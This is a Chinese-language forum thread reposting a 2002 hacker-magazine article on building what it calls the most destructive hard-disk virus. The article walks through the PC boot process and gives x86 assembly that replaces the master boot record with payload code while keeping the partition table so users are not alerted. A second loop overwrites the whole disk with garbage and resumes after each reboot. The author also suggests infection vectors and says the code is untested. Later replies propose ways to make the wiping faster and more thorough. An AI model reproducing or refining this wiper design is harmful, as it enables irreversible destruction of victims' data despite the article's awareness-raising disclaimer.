阅读:5466回复:6
最具硬盘破坏力的病毒如果有人问你,对硬盘数据最具破坏力的病毒是什么?你可能会说是CIH之类,可是你又要奇怪了, 为什么我们经常听到各大反病毒公司发布“今天4月26日,CIH病毒再次发作,XX公司又成功修复近百块 硬盘”的消息,到网上随便找找都可以找到一把关于如何恢复被CIH破坏了的硬盘的教学文章,甚至笔 者这样的菜鸟都成功恢复过几块被CIH破坏了的硬盘或是硬盘的大部分数据。 那你又要说,既然CIH不至于叫你太难过,那硬盘逻辑锁总叫你为难了吧,叫你不但硬盘不能引导, 连软盘、光区都不能引导。哈哈!硬盘逻辑锁只是利用了操作系统引导的一个小BUG而已!笔者就曾经利 用这个原理写过一个由于磁盘加密的硬盘保护锁,在9月的《黑客X档案》上我有介绍(你可到 http://www.heibai.net/download/show.php?id=2792下载),当然我的程序只是用于数据保护的,不是 破坏硬盘的,虽然和一些硬盘炸弹原理相同,可出发点不同就完全不同了,硬盘逻辑锁的原理是将硬盘 的主引导区中的分区表做了修改,让扩展分区指向分区表所在的分区,操作系统引导时在寻找扩展分区时 总是找到自己,从而陷入无穷的循环。知道了这一原理,要解除硬盘逻辑锁就简单了,只要动手做一个特 殊的引导软盘,将MBR区的分区表清除再重建分区表就一切OK了。 说到这你又要问了,那你说对硬盘最有破坏的病毒是怎么样的呢?有没有一个病毒发作后硬盘数据将 无法恢复呢?答案是肯定的,不信就听我慢慢道来。 首先,让我们来看看为什么被CIH迫害的硬盘还可能恢复,不要以为是陈盈豪先生的善良仁慈,CIH在 发作时利用了VxD技术,在Windows环境中直接写硬盘扇区,它会从硬盘第一物理扇区(0柱0面1扇区)开始, 向其中写入垃圾数据,这也是CIH的高明之处。这样看来,CIH并非不想将垃圾数据写满整个硬盘,如果让 它写满整个硬盘的话,你就看不到有关恢复被CIH破坏的硬盘的消息了,神仙也救不了你的可怜的数据 了,那么是什么阻止了CIH向硬盘写垃圾数据呢?答案是WINDOWS系统,CIH在向硬盘写入的过程中,会 覆盖WINDOWS系统要用到的一些数据,或是在覆盖到FAT表的时候,WINDWOS系统正好在通过FAT表读取硬盘 中的系统文件,而此时FAT已经破坏,致使WINDOWS系统无法读取硬盘数据,导致死机,正是因为死机,才 保住了我们宝贵的数据。 下面说说我的病毒思路,其中用到了CIH的一些方法,也利用了系统引导的薄弱之处,我说的只是病毒 的发作部分,至于你是要将其嵌入PE文件,还是把它做为邮件附件利用MIME漏洞或是骗人点击再或是利用程 序修改文件关联我不管。此病毒分两步走,第一步在WINDOWS系统中,将第二步要用到的代码写入硬盘的MBR 区;第二步也是关键的一步,将垃圾数据从硬盘第一物理扇区(0柱1道1扇区)开始写入。说到此,有必要介 绍一下系统的引导过程。 PC机最初的启动由BIOS完成。当开机自检结束时(Power-On Self Test,POST), 老的BIOS尝试读入软盘 的第一个扇区,把它看作引导扇区。若没有软盘,则尝试读入硬盘 的第一个扇区。当然现在的BIOS可以改 变这种次序,先从硬盘启动,实际操作是将硬盘的第一扇区,位于0柱0道1扇的主引导区(master boot sector)读入内存0000:7C00处,并把控制权交给MBR的主引导程序,MBR程序的先把自己从0000:7C00处 读到0000:0600之后再检查分区表并将引导标识(BOOT Boot flag)为80H的分区的第一个扇区(既引导 记录)读入内存0000:7C00处(这也是为什么MBR程序要先将自己读入0000:0600的原因,否则在没移交 控制权前就死机了),并把控制权移交给操作系统的引导记录。不同的操作系统的引导程序是不同的,对 于WIN9X来说引导过程如下: 1、98的引导区中的引导程序首先根据引导记录中的操作系统参数,读取文件分配表(FAT),并从操作系统 的第2个簇将IO.SYS读入内存,将控制权交IO.SYS程序。(这也是为什么IO.SYS只能用sys命令传输而不能 拷贝的原因,因为IO.SYS必须从分区的2簇开始,并且在连续的簇中,否则引导扇中的引导记录就不到 IO.SYS了) 2、执行config.sys和autoexec.bat。 3、调用win.com运行VMM32.VxD,VMM32.VxD用xms驱动程序把VMM加载到扩展内存。VMM初始化自身及其它 的默认VxD。 VMM把机器转入到保护模式并创建系统虚拟机。 4、被加载的虚拟外壳设备在系统虚拟机上通过运行krnl386.exe来启动Windows。krnl386.exe加载所有的 文件,最后是Windows9X外壳。 不难看出,BIOS将MBR读入内存,不会对MBR的内容做任何检查,马上就将执行权交给MBR中的主引导程序 ,根据这一原理,我们可以把MBR中的程序改成自己的程序,当然我说的病毒发作程序也是利用这个系统 弱点,在操作系统之前得到控制权,将垃圾数据写入硬盘,给硬盘数据以毁灭性的打击。下面来说说一些 实现的细节。 第一步:将具有写垃圾数据到硬盘功能的代码写入硬盘MBR区,当然在不同的系统环境中实现的方法是不 一样的,在16位的系统中可以这样写: DATA SEGMENT mbr db \'.......\' ;其中\"...\"代表要写入MBR中的十六进制码共1BE字节 DATA ENDS CODE SEGMENT ASSUME CS:CODE,DS:DATA,ES:DATA START: . . . mov ax,0201h mov cx,0001h mov dx,0080h mov bx,7000h int 13h ;将原来的MBR区读入内存ES:7000H,因为程序还要保留MBR中的分区表,以免 ;用户从其他盘启动不能找到硬盘时产生怀疑。 mov si,offset mbr mov di,7000h mov cx 1beh repnz movsb ;将要写入MBR区的代码,在内存中覆盖读入内存中的原MBR代码,等待写入MBR区 mov ax,0301h mov cx,0001h mov dx,0080h mov bx,7000h int 13h ;将破坏代码写入硬盘MBR区,等待重启动后破坏硬盘数据 . . . CODE ENDS END START 以上是在16位环境中实现将破坏代码的写入,但是值得一提的是以上代码在WIN9X系统中仍然可以执 行,但既然是在9X下我们最好是用VXD来实现,尤其是要植入PE文件中的话。可以调用Vxd call IOS_SendCommand直接对硬盘进行存取,关键是你如何取得Ring0,这一点CIH早已做好了答案,修改IDT表 ,创建一个中断门,然后发生中断,进入ring0(我不得不佩服陈盈豪),如果你有兴趣的话,可以找份 源程序看看。但是要强调一点,VxD是WIN9X特有的,它在NT下是不能被运行的,在NT下要实现执行Ring0 代码,除了编写设备驱动程序外,可能还是有一些方法的。 第二步:通过系统引导实现向硬盘写垃圾数据,这一部分的代码不论是什么系统都是一样的。 1、在破坏硬盘数据之前给出一些提示比如象WIN98的提示那样“Windows starting...”其目的是拖 延时间,让程序有足够的时间破坏硬盘,当然还是没有提示的好,因为一提示可能会弄巧成拙引起用户的注 意。要注意的是因为还没有操作系统,所以我们只能调用BIOS的中断10H,一个字符一个字符的显示,显示 一个字符后将光标后移,再把指向字符串的指针后移,显示下一字符,比较麻烦,我们不可以用DOS的9H 号功能调用,因为此时还没有DOS; 2、在写入MBR区的代码在指定位置存放上次被用户中断前最后备份的DH的值,也就是程序最后向硬盘写 入的磁头号,(当然第一次执行时其值为零)假设此值被存放在MBR区偏移1b0H的位置,这样如果用户发 现机器不能启动后,可能会反复重启动计算机,每次启动都会接着上次没写完的地方继续狂写垃圾数据; 3、实现向硬盘写垃圾数据的部分代码: . . . mov ax,0201h mov cx,0001h mov dx,0080h mov bx,f000h int 13h ;将MBR读入硬盘0000:f000H mov ch,01H mov cl,01h mov dh,[f1bOh] ;要写入的柱面号此时保存在0000:f1b0h mov dl,80h WRITE: mov ax,033fh ;一次写63个扇区 mov bx,0000h ;写的内容为内存垃圾 int 13h cmp ch,ffh jz next1 INC ch jmp write next1: add cx,40h cmp cx,ffc1h ;是否写完一个柱面 jz next2 mov ch,00h jmp write next2: cmp dh,ff jz exit ;硬盘已写完 inc dh ;磁头数加1 mov [f1b0h],dh push ax push bx push cx push dx mov ax,0201h mov cx,0001h mov dx,0080h mov bx,f000h int 13h ;将DH中的柱面号保存 pop dx pop cx pop bx pop ax mov cx,0001 jmp write exit: . . . 因为以上代码不是在保护模下执行,就不至于死机了,那么就可以将垃圾数据完全写满整个硬盘了, 但是非常可惜的是,用这个方法在实模式下只能写大约8G的空间,因此回头想想这种程序如果称为“最具 硬盘破坏力的病毒”是牛逼了一点,不知道哪位仁兄能够在实模式下突破这8G的限制,可以与我交流,我 的QQ是86633320 ,另外因为此代码我从未调试过,难免出错,也希望大家指正。 最后本人要郑重声明的是:我写本文的目的有二,其一是希望能提高广大电脑用户的安全意识,不要 盲目的相信数据恢复软件,因为有些数据是不能恢复的,也不要盲目的相信杀毒软件,因为世界上每天都 在诞生新的病毒。其二是技术交流,破坏不是我的目的,如果有人利用本文中提到的技术做任何违反中华 人民共和国法律的事情,一切后果自负。 文章作者:风般的男人,并该文在2002年12月的《黑客X档案》发表,如有转载,请保持文章完整并请注明! |
|
最新喜欢:muking |
沙发#
发布于:2003-10-09 13:32
不要吓唬我好不好~~~~
|
|
|
板凳#
发布于:2003-10-13 15:58
W2k 中咋用?
|
|
地板#
发布于:2003-11-27 18:25
有意思!!!
|
|
地下室#
发布于:2003-12-15 14:36
靠,风流男人,跑这里来吓人啊,嘿嘿,破坏128GB硬盘的资料不是有了吗?装什么啊??还有IO的方法必须借助DMA,不然速度慢的受不了,破坏的时候创建多个内核线程,先破坏扩展分区的信息,最后修改MBR,操作系统分区不是更好??
|
|
|
5楼#
发布于:2007-07-23 23:04
在网上随便搜了个帖子,看了半天发现这儿居然是驱网。
|
|
6楼#
发布于:2008-03-14 13:41
引用第4楼wowocock于2003-12-15 14:36发表的 : 现在TB硬盘都出来了 直接弄端口是跟不上时代发展的,还是要在磁盘过滤层上干! 我很久以前试过,直接调用INT13H写盘速度仍然很快............INT13H似乎没有DMA啊? 在xp中也指定为PIO方式,速度也很快! 关键是一次要操作多个扇区,不要一个扇区一个扇区去做..... 怪不得MJ会骂风人了,我看到这文章都有点起鸡皮什么的了 |
|